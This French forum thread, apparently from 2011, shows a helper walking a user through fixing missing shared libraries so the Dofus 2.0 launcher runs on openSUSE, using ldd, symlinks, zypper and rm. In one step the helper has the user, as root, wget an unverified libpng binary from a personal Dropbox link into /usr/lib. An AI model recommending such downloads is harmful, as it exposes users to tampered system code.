( Adobe AIR n'as pas pu être installé. Installez Gnome Keyring ou KDE KWallet avant d'installer Adobe AIR. )
- J'ai bien sur effectuer des recherches sur la question , mais ayant bien KDE KWallet d'installer ... Je ne sais plus quoi faire omis attendre votre réponse.
Sa avance petit à petit ...
[EDIT] > Je suis passé à Ubuntu entre temps et les liens fournis dans le Tuto marchent du feu de dieu.
Bravo pour ton travail et bonne continuation
Dernière modification par Omac-Do (Le 10/09/2011, à 12:15)
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonsoir,
j'ai installé Dofus 2.0 sous opensuse.
Je suis arrivé jusqu'à l'étape ou j'ai 2 nouveaux icones sur le bureau, seulement lorsque je lance l'updater il se met une dizaine de seconde dans la barre des taches mais ensuite se ferme sans que rien ne se passe. Aucun chargement de mise à jour ne semble se faire ? Idem lorsque je lance le "Dofusdirect" il m'informe que des mises à jour doivent être lancées mais rien ne se passe après acceptation ?
J'ai donc besoin d'aide car mes connaissances sous linux sont très légères.
Merci d'avance.
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Salut,
Ok, c'est surement un problème classique de lib manquantes.
Fait moi ces commandes :
/opt/Dofus_Paquet/share/UpLauncher
ldd /opt/Dofus_Paquet/share/UpLauncher
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
[EDIT] > Je suis passé à Ubuntu entre temps et les liens fournis dans le Tuto marchent du feu de dieu.
Bravo pour ton travail et bonne continuation
Merci
Ton problème sous opensuse devait être le même que BisonRavi.
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonsoir,
voilà donc le résultat des commandes.
papounet@linux-jikf:~> /opt/Dofus_Paquet/share/UpLauncher
/opt/Dofus_Paquet/share/UpLauncher: error while loading shared libraries: libssl.so.0.9.8: cannot open shared object file: No such file or directory
papounet@linux-jikf:~> ldd /opt/Dofus_Paquet/share/UpLauncher
linux-gate.so.1 => (0xffffe000)
libgtk-x11-2.0.so.0 => /usr/lib/libgtk-x11-2.0.so.0 (0xb7347000)
libgthread-2.0.so.0 => /lib/libgthread-2.0.so.0 (0xb7341000)
libSM.so.6 => /usr/lib/libSM.so.6 (0xb7338000)
libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0xb72e4000)
libssl.so.0.9.8 => not found
libdbus-glib-1.so.2 => /usr/lib/libdbus-glib-1.so.2 (0xb72bc000)
libgdk-x11-2.0.so.0 => /usr/lib/libgdk-x11-2.0.so.0 (0xb720d000)
libgdk_pixbuf-2.0.so.0 => /usr/lib/libgdk_pixbuf-2.0.so.0 (0xb71ed000)
libgobject-2.0.so.0 => /lib/libgobject-2.0.so.0 (0xb719d000)
libglib-2.0.so.0 => /lib/libglib-2.0.so.0 (0xb70a7000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb6fb8000)
libm.so.6 => /lib/libm.so.6 (0xb6f8e000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb6f70000)
libc.so.6 => /lib/libc.so.6 (0xb6e03000)
libXinerama.so.1 => /usr/lib/libXinerama.so.1 (0xb6dff000)
libX11.so.6 => /usr/lib/libX11.so.6 (0xb6cc1000)
libpango-1.0.so.0 => /usr/lib/libpango-1.0.so.0 (0xb6c76000)
libz.so.1 => /lib/libz.so.1 (0xb6c5f000)
librt.so.1 => /lib/librt.so.1 (0xb6c55000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb6c3a000)
libcrypto.so.0.9.8 => not found
libdl.so.2 => /lib/libdl.so.2 (0xb6c34000)
libpng12.so.0 => not found
libexpat.so.1 => /lib/libexpat.so.1 (0xb6c0a000)
libpangocairo-1.0.so.0 => /usr/lib/libpangocairo-1.0.so.0 (0xb6bfd000)
libXfixes.so.3 => /usr/lib/libXfixes.so.3 (0xb6bf7000)
libatk-1.0.so.0 => /usr/lib/libatk-1.0.so.0 (0xb6bd7000)
libcairo.so.2 => /usr/lib/libcairo.so.2 (0xb6b12000)
libgio-2.0.so.0 => /lib/libgio-2.0.so.0 (0xb69e0000)
libpangoft2-1.0.so.0 => /usr/lib/libpangoft2-1.0.so.0 (0xb69b1000)
libfontconfig.so.1 => /usr/lib/libfontconfig.so.1 (0xb697b000)
libgmodule-2.0.so.0 => /lib/libgmodule-2.0.so.0 (0xb6975000)
libICE.so.6 => /usr/lib/libICE.so.6 (0xb695a000)
libuuid.so.1 => /lib/libuuid.so.1 (0xb6954000)
libdbus-1.so.3 => /lib/libdbus-1.so.3 (0xb6909000)
libXext.so.6 => /usr/lib/libXext.so.6 (0xb68f7000)
libXrender.so.1 => /usr/lib/libXrender.so.1 (0xb68eb000)
libXi.so.6 => /usr/lib/libXi.so.6 (0xb68db000)
libXrandr.so.2 => /usr/lib/libXrandr.so.2 (0xb68d2000)
libXcursor.so.1 => /usr/lib/libXcursor.so.1 (0xb68c6000)
libXcomposite.so.1 => /usr/lib/libXcomposite.so.1 (0xb68c2000)
libXdamage.so.1 => /usr/lib/libXdamage.so.1 (0xb68bd000)
libpcre.so.0 => /lib/libpcre.so.0 (0xb6886000)
/lib/ld-linux.so.2 (0xb77c7000)
libxcb.so.1 => /usr/lib/libxcb.so.1 (0xb6866000)
libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0xb67de000)
libpixman-1.so.0 => /usr/lib/libpixman-1.so.0 (0xb675f000)
libpng14.so.14 => /usr/lib/libpng14.so.14 (0xb6732000)
libresolv.so.2 => /lib/libresolv.so.2 (0xb671b000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb66fc000)
libXau.so.6 => /usr/lib/libXau.so.6 (0xb66f8000)
papounet@linux-jikf:~>
C'est grave docteur ?
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Normalement avec ces commandes ça devrait être bon (j'ai testé avec opensuse 11.4) :
ln -s /usr/lib/libssl.so.1.0.0 /opt/Dofus_Paquet/lib/libssl.so.0.9.8
ln -s /usr/lib/libpng14.so.14 /opt/Dofus_Paquet/lib/libpng12.so.0
ln -s /lib/libcrypto.so.1.0.0 /opt/Dofus_Paquet/libcrypto.so.0.9.8
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Re,
papounet@linux-jikf:~> ln -s /usr/lib/libssl.so.1.0.0 /opt/Dofus_Paquet/lib/libssl.so.0.9.8
ln: failed to create symbolic link « /opt/Dofus_Paquet/lib/libssl.so.0.9.8 »: Le fichier existe
papounet@linux-jikf:~> ln -s /usr/lib/libpng14.so.14 /opt/Dofus_Paquet/lib/libpng12.so.0
ln: failed to create symbolic link « /opt/Dofus_Paquet/lib/libpng12.so.0 »: Permission non accordée
papounet@linux-jikf:~> ln -s /lib/libcrypto.so.1.0.0 /opt/Dofus_Paquet/libcrypto.so.0.9.8
papounet@linux-jikf:~> ln -s /lib/libcrypto.so.1.0.0 /opt/Dofus_Paquet/libcrypto.so.0.9.8
ln: failed to create symbolic link « /opt/Dofus_Paquet/libcrypto.so.0.9.8 »: Permission non accordée
papounet@linux-jikf:~>
Me semble pas très bon tout ça
En attendant ton aide j'ai tenter de refaire l'installation complète air+dofus et arriver au même stade avec les mêmes commandes j'obtiens un truc légèrement différent mais toujours pas concluant ...
papounet@linux-jikf:~> su
Mot de passe :
linux-jikf:/home/papounet # ln -s /usr/lib/libssl.so.1.0.0 /opt/Dofus_Paquet/lib/libssl.so.0.9.8
ln: failed to create symbolic link « /opt/Dofus_Paquet/lib/libssl.so.0.9.8 »: Le fichier existe
linux-jikf:/home/papounet # ln -s /usr/lib/libpng14.so.14 /opt/Dofus_Paquet/lib/libpng12.so.0
ln: failed to create symbolic link « /opt/Dofus_Paquet/lib/libpng12.so.0 »: Le fichier existe
linux-jikf:/home/papounet # ln -s /lib/libcrypto.so.1.0.0 /opt/Dofus_Paquet/libcrypto.so.0.9.8
ln: failed to create symbolic link « /opt/Dofus_Paquet/libcrypto.so.0.9.8 »: Le fichier existe
linux-jikf:/home/papounet #
....
Dernière modification par BisonRavi (Le 14/09/2011, à 19:46)
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Les messages d'erreur sont normales. Tu ne peux pas créer les liens symboliques deux fois ^^
Et j'ai fait une erreur dans une commande, voila celle corrigée :
ln -s /lib/libcrypto.so.1.0.0 /opt/Dofus_Paquet/lib/libcrypto.so.0.9.8
Une fois fait, que te donne ?
ldd /opt/Dofus_Paquet/share/UpLauncher
Dernière modification par yoann21 (Le 14/09/2011, à 21:22)
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonsoir
alors voilà les 2 commandes
papounet@linux-jikf:~> ln -s /lib/libcrypto.so.1.0.0 /opt/Dofus_Paquet/lib/libcrypto.so.0.9.8
ln: failed to create symbolic link « /opt/Dofus_Paquet/lib/libcrypto.so.0.9.8 »: Le fichier existe
papounet@linux-jikf:~> ldd /opt/Dofus_Paquet/share/UpLauncher
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libcrypto.so.0.9.8: no version information available (required by /opt/Dofus_Paquet/share/UpLauncher)
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libssl.so.0.9.8: no version information available (required by /opt/Dofus_Paquet/share/UpLauncher)
linux-gate.so.1 => (0xffffe000)
libgtk-x11-2.0.so.0 => /usr/lib/libgtk-x11-2.0.so.0 (0xb72c3000)
libgthread-2.0.so.0 => /lib/libgthread-2.0.so.0 (0xb72bd000)
libSM.so.6 => /usr/lib/libSM.so.6 (0xb72b4000)
libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0xb7260000)
libssl.so.0.9.8 => /usr/lib/libssl.so.0.9.8 (0xb7210000)
libdbus-glib-1.so.2 => /usr/lib/libdbus-glib-1.so.2 (0xb71e9000)
libgdk-x11-2.0.so.0 => /usr/lib/libgdk-x11-2.0.so.0 (0xb713a000)
libgdk_pixbuf-2.0.so.0 => /usr/lib/libgdk_pixbuf-2.0.so.0 (0xb711a000)
libgobject-2.0.so.0 => /lib/libgobject-2.0.so.0 (0xb70ca000)
libglib-2.0.so.0 => /lib/libglib-2.0.so.0 (0xb6fd4000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb6ee5000)
libm.so.6 => /lib/libm.so.6 (0xb6ebb000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb6e9d000)
libc.so.6 => /lib/libc.so.6 (0xb6d30000)
libXinerama.so.1 => /usr/lib/libXinerama.so.1 (0xb6d2c000)
libX11.so.6 => /usr/lib/libX11.so.6 (0xb6bee000)
libpango-1.0.so.0 => /usr/lib/libpango-1.0.so.0 (0xb6ba3000)
libz.so.1 => /lib/libz.so.1 (0xb6b8c000)
librt.so.1 => /lib/librt.so.1 (0xb6b82000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb6b67000)
libcrypto.so.0.9.8 => /usr/lib/libcrypto.so.0.9.8 (0xb69eb000)
libdl.so.2 => /lib/libdl.so.2 (0xb69e5000)
libpng12.so.0 => not found
libexpat.so.1 => /lib/libexpat.so.1 (0xb69bb000)
libpangocairo-1.0.so.0 => /usr/lib/libpangocairo-1.0.so.0 (0xb69ae000)
libXfixes.so.3 => /usr/lib/libXfixes.so.3 (0xb69a8000)
libatk-1.0.so.0 => /usr/lib/libatk-1.0.so.0 (0xb6988000)
libcairo.so.2 => /usr/lib/libcairo.so.2 (0xb68c3000)
libgio-2.0.so.0 => /lib/libgio-2.0.so.0 (0xb6791000)
libpangoft2-1.0.so.0 => /usr/lib/libpangoft2-1.0.so.0 (0xb6762000)
libfontconfig.so.1 => /usr/lib/libfontconfig.so.1 (0xb672c000)
libgmodule-2.0.so.0 => /lib/libgmodule-2.0.so.0 (0xb6726000)
libICE.so.6 => /usr/lib/libICE.so.6 (0xb670b000)
libuuid.so.1 => /lib/libuuid.so.1 (0xb6705000)
libdbus-1.so.3 => /lib/libdbus-1.so.3 (0xb66ba000)
libXext.so.6 => /usr/lib/libXext.so.6 (0xb66a8000)
libXrender.so.1 => /usr/lib/libXrender.so.1 (0xb669c000)
libXi.so.6 => /usr/lib/libXi.so.6 (0xb668c000)
libXrandr.so.2 => /usr/lib/libXrandr.so.2 (0xb6683000)
libXcursor.so.1 => /usr/lib/libXcursor.so.1 (0xb6677000)
libXcomposite.so.1 => /usr/lib/libXcomposite.so.1 (0xb6673000)
libXdamage.so.1 => /usr/lib/libXdamage.so.1 (0xb666e000)
libpcre.so.0 => /lib/libpcre.so.0 (0xb6637000)
/lib/ld-linux.so.2 (0xb7743000)
libxcb.so.1 => /usr/lib/libxcb.so.1 (0xb6617000)
libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0xb658f000)
libpixman-1.so.0 => /usr/lib/libpixman-1.so.0 (0xb6510000)
libpng14.so.14 => /usr/lib/libpng14.so.14 (0xb64e3000)
libresolv.so.2 => /lib/libresolv.so.2 (0xb64cc000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb64ad000)
libXau.so.6 => /usr/lib/libXau.so.6 (0xb64a9000)
papounet@linux-jikf:~>
En espérant que cela te permette d'y voir plus clair dans ce qui ne tourne pas rond dans mon install !
A plus tard
Dernière modification par BisonRavi (Le 14/09/2011, à 23:29)
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Ok, donc reste plus qu'une seule lib qui pose problème.
Puex-tu me mettre le retour de :
ls -l /usr/lib/libpng*
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonjour,
papounet@linux-jikf:~> ls -l /usr/lib/libpng*
lrwxrwxrwx 1 root root 18 11 sept. 16:52 /usr/lib/libpng14.so.14 -> libpng14.so.14.4.0
-rwxr-xr-x 1 root root 173936 2 août 18:32 /usr/lib/libpng14.so.14.4.0
papounet@linux-jikf:~>
Voilà donc le résultat ... en espérant te trouver encore derrière ton pc je commence à désespérer de pouvoir jouer sous cette config
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonjour,
papounet@linux-jikf:~> ls -l /usr/lib/libpng*
lrwxrwxrwx 1 root root 18 11 sept. 16:52 /usr/lib/libpng14.so.14 -> libpng14.so.14.4.0
-rwxr-xr-x 1 root root 173936 2 août 18:32 /usr/lib/libpng14.so.14.4.0
papounet@linux-jikf:~>
Voilà donc le résultat ... en espérant te trouver encore derrière ton pc je commence à désespérer de pouvoir jouer sous cette config
T'inquiète pas, on est tout proche
su
ln -s /usr/lib/libpng14.so.14 /usr/lib/libpng12.so.0
Et essaie de lancer Dofus ensuite. Si ça ne marche pas, remet moi ce que t'as mis la commande juste avant avec un ldd /opt/Dofus_Paquet/share/UpLauncher.
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Je veux bien te croire lorsque tu dis qu'on approche du but .... *croise les doigts en tapant sur son clavier*
linux-jikf:/home/papounet # ldd /opt/Dofus_Paquet/share/UpLauncher
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libpng12.so.0: version `PNG12_0' not found (required by /opt/Dofus_Paquet/share/UpLauncher)
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libcrypto.so.0.9.8: no version information available (required by /opt/Dofus_Paquet/share/UpLauncher)
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libssl.so.0.9.8: no version information available (required by /opt/Dofus_Paquet/share/UpLauncher)
linux-gate.so.1 => (0xffffe000)
libgtk-x11-2.0.so.0 => /usr/lib/libgtk-x11-2.0.so.0 (0xb7424000)
libgthread-2.0.so.0 => /lib/libgthread-2.0.so.0 (0xb741e000)
libSM.so.6 => /usr/lib/libSM.so.6 (0xb7415000)
libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0xb73c1000)
libssl.so.0.9.8 => /usr/lib/libssl.so.0.9.8 (0xb7371000)
libdbus-glib-1.so.2 => /usr/lib/libdbus-glib-1.so.2 (0xb734a000)
libgdk-x11-2.0.so.0 => /usr/lib/libgdk-x11-2.0.so.0 (0xb729b000)
libgdk_pixbuf-2.0.so.0 => /usr/lib/libgdk_pixbuf-2.0.so.0 (0xb727b000)
libgobject-2.0.so.0 => /lib/libgobject-2.0.so.0 (0xb722b000)
libglib-2.0.so.0 => /lib/libglib-2.0.so.0 (0xb7135000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb7046000)
libm.so.6 => /lib/libm.so.6 (0xb701c000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb6ffe000)
libc.so.6 => /lib/libc.so.6 (0xb6e91000)
libXinerama.so.1 => /usr/lib/libXinerama.so.1 (0xb6e8d000)
libX11.so.6 => /usr/lib/libX11.so.6 (0xb6d4f000)
libpango-1.0.so.0 => /usr/lib/libpango-1.0.so.0 (0xb6d04000)
libz.so.1 => /lib/libz.so.1 (0xb6ced000)
librt.so.1 => /lib/librt.so.1 (0xb6ce3000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb6cc8000)
libcrypto.so.0.9.8 => /usr/lib/libcrypto.so.0.9.8 (0xb6b4c000)
libdl.so.2 => /lib/libdl.so.2 (0xb6b46000)
libpng12.so.0 => /usr/lib/libpng12.so.0 (0xb6b1a000)
libexpat.so.1 => /lib/libexpat.so.1 (0xb6af0000)
libpangocairo-1.0.so.0 => /usr/lib/libpangocairo-1.0.so.0 (0xb6ae3000)
libXfixes.so.3 => /usr/lib/libXfixes.so.3 (0xb6add000)
libatk-1.0.so.0 => /usr/lib/libatk-1.0.so.0 (0xb6abe000)
libcairo.so.2 => /usr/lib/libcairo.so.2 (0xb69f8000)
libgio-2.0.so.0 => /lib/libgio-2.0.so.0 (0xb68c6000)
libpangoft2-1.0.so.0 => /usr/lib/libpangoft2-1.0.so.0 (0xb6897000)
libfontconfig.so.1 => /usr/lib/libfontconfig.so.1 (0xb6861000)
libgmodule-2.0.so.0 => /lib/libgmodule-2.0.so.0 (0xb685c000)
libICE.so.6 => /usr/lib/libICE.so.6 (0xb6840000)
libuuid.so.1 => /lib/libuuid.so.1 (0xb683a000)
libdbus-1.so.3 => /lib/libdbus-1.so.3 (0xb67ef000)
libXext.so.6 => /usr/lib/libXext.so.6 (0xb67dd000)
libXrender.so.1 => /usr/lib/libXrender.so.1 (0xb67d2000)
libXi.so.6 => /usr/lib/libXi.so.6 (0xb67c1000)
libXrandr.so.2 => /usr/lib/libXrandr.so.2 (0xb67b8000)
libXcursor.so.1 => /usr/lib/libXcursor.so.1 (0xb67ac000)
libXcomposite.so.1 => /usr/lib/libXcomposite.so.1 (0xb67a8000)
libXdamage.so.1 => /usr/lib/libXdamage.so.1 (0xb67a4000)
libpcre.so.0 => /lib/libpcre.so.0 (0xb676c000)
/lib/ld-linux.so.2 (0xb78a4000)
libxcb.so.1 => /usr/lib/libxcb.so.1 (0xb674c000)
libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0xb66c4000)
libpixman-1.so.0 => /usr/lib/libpixman-1.so.0 (0xb6645000)
libresolv.so.2 => /lib/libresolv.so.2 (0xb662d000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb660e000)
libXau.so.6 => /usr/lib/libXau.so.6 (0xb660a000)
linux-jikf:/home/papounet #
A très vite j'espère ...
Dernière modification par BisonRavi (Le 17/09/2011, à 00:34)
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Ta version de libpng est trop récente. Apparemment l'ancienne version est dispo dans les dépôts.
su
rm /opt/Dofus_Paquet/*.so
rm /opt/Dofus_Paquet/lib/*
rm /usr/lib/libpng12.so.0
zypper in libpng12-0
zypper in libopenssl0_9_8
Après ça, Dofus "devrait" marcher.
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Oups !!
toujours pas ....ni le dofus updater ni le dofus direct ... je suis mafré !!
Si je comprend bien ça à l'air de s'être installé avec tes commandes mais bon .... ( j'ai retapé les commandes pour voir résultat ci après )
Mot de passe :
linux-jikf:~ # zypper in libpng12-0
Loading repository data...
Reading installed packages...
'libpng12-0' is already installed.
No update candidate for 'libpng12-0-1.2.46-7.3.1.i586'. The highest available version is already installed.
Resolving package dependencies...
Nothing to do.
linux-jikf:~ # zypper in libopenssl0_9_8
Loading repository data...
Reading installed packages...
'libopenssl0_9_8' is already installed.
No update candidate for 'libopenssl0_9_8-0.9.8m-5.2.i586'. The highest available version is already installed.
Resolving package dependencies...
Nothing to do.
linux-jikf:~ #
je te remet ça au hazard
papounet@linux-jikf:~> ldd /opt/Dofus_Paquet/share/UpLauncher
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libcrypto.so.0.9.8: no version information available (required by /opt/Dofus_Paquet/share/UpLauncher)
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libssl.so.0.9.8: no version information available (required by /opt/Dofus_Paquet/share/UpLauncher)
linux-gate.so.1 => (0xffffe000)
libgtk-x11-2.0.so.0 => /usr/lib/libgtk-x11-2.0.so.0 (0xb7405000)
libgthread-2.0.so.0 => /lib/libgthread-2.0.so.0 (0xb73ff000)
libSM.so.6 => /usr/lib/libSM.so.6 (0xb73f6000)
libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0xb73a2000)
libssl.so.0.9.8 => /usr/lib/libssl.so.0.9.8 (0xb7352000)
libdbus-glib-1.so.2 => /usr/lib/libdbus-glib-1.so.2 (0xb732b000)
libgdk-x11-2.0.so.0 => /usr/lib/libgdk-x11-2.0.so.0 (0xb727c000)
libgdk_pixbuf-2.0.so.0 => /usr/lib/libgdk_pixbuf-2.0.so.0 (0xb725c000)
libgobject-2.0.so.0 => /lib/libgobject-2.0.so.0 (0xb720c000)
libglib-2.0.so.0 => /lib/libglib-2.0.so.0 (0xb7116000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb7027000)
libm.so.6 => /lib/libm.so.6 (0xb6ffd000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb6fdf000)
libc.so.6 => /lib/libc.so.6 (0xb6e72000)
libXinerama.so.1 => /usr/lib/libXinerama.so.1 (0xb6e6e000)
libX11.so.6 => /usr/lib/libX11.so.6 (0xb6d30000)
libpango-1.0.so.0 => /usr/lib/libpango-1.0.so.0 (0xb6ce5000)
libz.so.1 => /lib/libz.so.1 (0xb6cce000)
librt.so.1 => /lib/librt.so.1 (0xb6cc4000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb6ca9000)
libcrypto.so.0.9.8 => /usr/lib/libcrypto.so.0.9.8 (0xb6b2d000)
libdl.so.2 => /lib/libdl.so.2 (0xb6b27000)
libpng12.so.0 => not found
libexpat.so.1 => /lib/libexpat.so.1 (0xb6afd000)
libpangocairo-1.0.so.0 => /usr/lib/libpangocairo-1.0.so.0 (0xb6af0000)
libXfixes.so.3 => /usr/lib/libXfixes.so.3 (0xb6aea000)
libatk-1.0.so.0 => /usr/lib/libatk-1.0.so.0 (0xb6aca000)
libcairo.so.2 => /usr/lib/libcairo.so.2 (0xb6a05000)
libgio-2.0.so.0 => /lib/libgio-2.0.so.0 (0xb68d3000)
libpangoft2-1.0.so.0 => /usr/lib/libpangoft2-1.0.so.0 (0xb68a4000)
libfontconfig.so.1 => /usr/lib/libfontconfig.so.1 (0xb686e000)
libgmodule-2.0.so.0 => /lib/libgmodule-2.0.so.0 (0xb6868000)
libICE.so.6 => /usr/lib/libICE.so.6 (0xb684d000)
libuuid.so.1 => /lib/libuuid.so.1 (0xb6847000)
libdbus-1.so.3 => /lib/libdbus-1.so.3 (0xb67fc000)
libXext.so.6 => /usr/lib/libXext.so.6 (0xb67ea000)
libXrender.so.1 => /usr/lib/libXrender.so.1 (0xb67de000)
libXi.so.6 => /usr/lib/libXi.so.6 (0xb67ce000)
libXrandr.so.2 => /usr/lib/libXrandr.so.2 (0xb67c5000)
libXcursor.so.1 => /usr/lib/libXcursor.so.1 (0xb67b9000)
libXcomposite.so.1 => /usr/lib/libXcomposite.so.1 (0xb67b5000)
libXdamage.so.1 => /usr/lib/libXdamage.so.1 (0xb67b0000)
libpcre.so.0 => /lib/libpcre.so.0 (0xb6779000)
/lib/ld-linux.so.2 (0xb7885000)
libxcb.so.1 => /usr/lib/libxcb.so.1 (0xb6759000)
libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0xb66d1000)
libpixman-1.so.0 => /usr/lib/libpixman-1.so.0 (0xb6652000)
libpng14.so.14 => /usr/lib/libpng14.so.14 (0xb6625000)
libresolv.so.2 => /lib/libresolv.so.2 (0xb660e000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb65ef000)
libXau.so.6 => /usr/lib/libXau.so.6 (0xb65eb000)
papounet@linux-jikf:~>
Dernière modification par BisonRavi (Le 17/09/2011, à 13:39)
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
La je comprend pas, les paquets étaient déjà installés alors qu'ils ne l'étaient pas lors de ton premier message. C'est toi qui l'a fait ?
Je t'ai uploadé une libpng qui marche.
su
rm /usr/lib/libpng12.so.0.46.0
wget http://dl.dropbox.com/u/12943198/libpng12.so.0.46.0
mv libpng12.so.0.46.0 /usr/lib/libpng12.so.0.46.0
ln -s /usr/lib/libpng12.so.0.46.0 /usr/lib/libpng12.so.0
EDIT: commande modifiée
Dernière modification par yoann21 (Le 17/09/2011, à 14:04)
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Je suis dé...pi...té .....!
ça ne marche toujours pas !!! le sort s'acharne sur moi ?! Même après un reboot
J'ai retapé les commandes au cas ou ...
linux-jikf:/home/papounet # rm /usr/lib/libpng12.so.0.46.0
linux-jikf:/home/papounet # wget http://dl.dropbox.com/u/12943198/libpng12.so.0.46.0
asking libproxy about url 'http://dl.dropbox.com/u/12943198/libpng12.so.0.46.0'
libproxy suggest to use 'direct://'
--2011-09-17 19:21:33-- http://dl.dropbox.com/u/12943198/libpng12.so.0.46.0
Résolution de dl.dropbox.com... 174.129.6.48
Connexion vers dl.dropbox.com|174.129.6.48|:80...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 174052 (170K) [text/plain]
Sauvegarde en : «libpng12.so.0.46.0»
100%[====================================================================================>] 174 052 185K/s ds 0,9s
2011-09-17 19:21:35 (185 KB/s) - «libpng12.so.0.46.0» sauvegardé [174052/174052]
linux-jikf:/home/papounet # mv libpng12.so.0.46.0 /usr/lib/libpng12.so.0.46.0
linux-jikf:/home/papounet # ln -s /usr/lib/libpng12.so.0.46.0 /usr/lib/libpng12.so.0
ln: failed to create symbolic link « /usr/lib/libpng12.so.0 »: Le fichier existe
linux-jikf:/home/papounet #
C'est plus de l'aide qu'il me faut mais un exorcisme ... c'est incroyable.
Aller on fini sur un coup de génie de ta part ... j'y crois !
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Je suis dé...pi...té .....!
ça ne marche toujours pas !!! le sort s'acharne sur moi ?! Même après un reboot
J'ai retapé les commandes au cas ou ...<metadata lang=Markdown prob=0.41 />
linux-jikf:/home/papounet # rm /usr/lib/libpng12.so.0.46.0
linux-jikf:/home/papounet # wget http://dl.dropbox.com/u/12943198/libpng12.so.0.46.0
asking libproxy about url 'http://dl.dropbox.com/u/12943198/libpng12.so.0.46.0'
libproxy suggest to use 'direct://'
--2011-09-17 19:21:33-- http://dl.dropbox.com/u/12943198/libpng12.so.0.46.0
Résolution de dl.dropbox.com... 174.129.6.48
Connexion vers dl.dropbox.com|174.129.6.48|:80...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 174052 (170K) [text/plain]
Sauvegarde en : «libpng12.so.0.46.0»
100%[====================================================================================>] 174 052 185K/s ds 0,9s
2011-09-17 19:21:35 (185 KB/s) - «libpng12.so.0.46.0» sauvegardé [174052/174052]
linux-jikf:/home/papounet # mv libpng12.so.0.46.0 /usr/lib/libpng12.so.0.46.0
linux-jikf:/home/papounet # ln -s /usr/lib/libpng12.so.0.46.0 /usr/lib/libpng12.so.0
ln: failed to create symbolic link « /usr/lib/libpng12.so.0 »: Le fichier existe
linux-jikf:/home/papounet #
C'est plus de l'aide qu'il me faut mais un exorcisme ... c'est incroyable.
Aller on fini sur un coup de génie de ta part ... j'y crois !
Désespère pas, on va y arriver
su
ls -l /usr/lib/libpng*
rm /usr/lib/libpng12.so.0
ln -s /usr/lib/libpng12.so.0.46.0 /usr/lib/libpng12.so.0
Et ensuite le ldd habituel.
Hors ligne
BisonRavi
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Tada .....
Mot de passe :
linux-jikf:~ #
linux-jikf:~ #
linux-jikf:~ # ls -l /usr/lib/libpng*
lrwxrwxrwx 1 root root 27 Sep 17 17:40 /usr/lib/libpng12.so.0 -> /usr/lib/libpng12.so.0.46.0
-rw-r--r-- 1 root root 174052 Sep 17 19:21 /usr/lib/libpng12.so.0.46.0
lrwxrwxrwx 1 root root 18 Sep 11 16:52 /usr/lib/libpng14.so.14 -> libpng14.so.14.4.0
-rwxr-xr-x 1 root root 173936 Aug 2 18:32 /usr/lib/libpng14.so.14.4.0
linux-jikf:~ # rm /usr/lib/libpng12.so.0
linux-jikf:~ # ln -s /usr/lib/libpng12.so.0.46.0 /usr/lib/libpng12.so.0
linux-jikf:~ # ldd /opt/Dofus_Paquet/share/UpLauncher
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libcrypto.so.0.9.8: no version information available (required by /opt/Dofus_Paquet/share/UpLauncher)
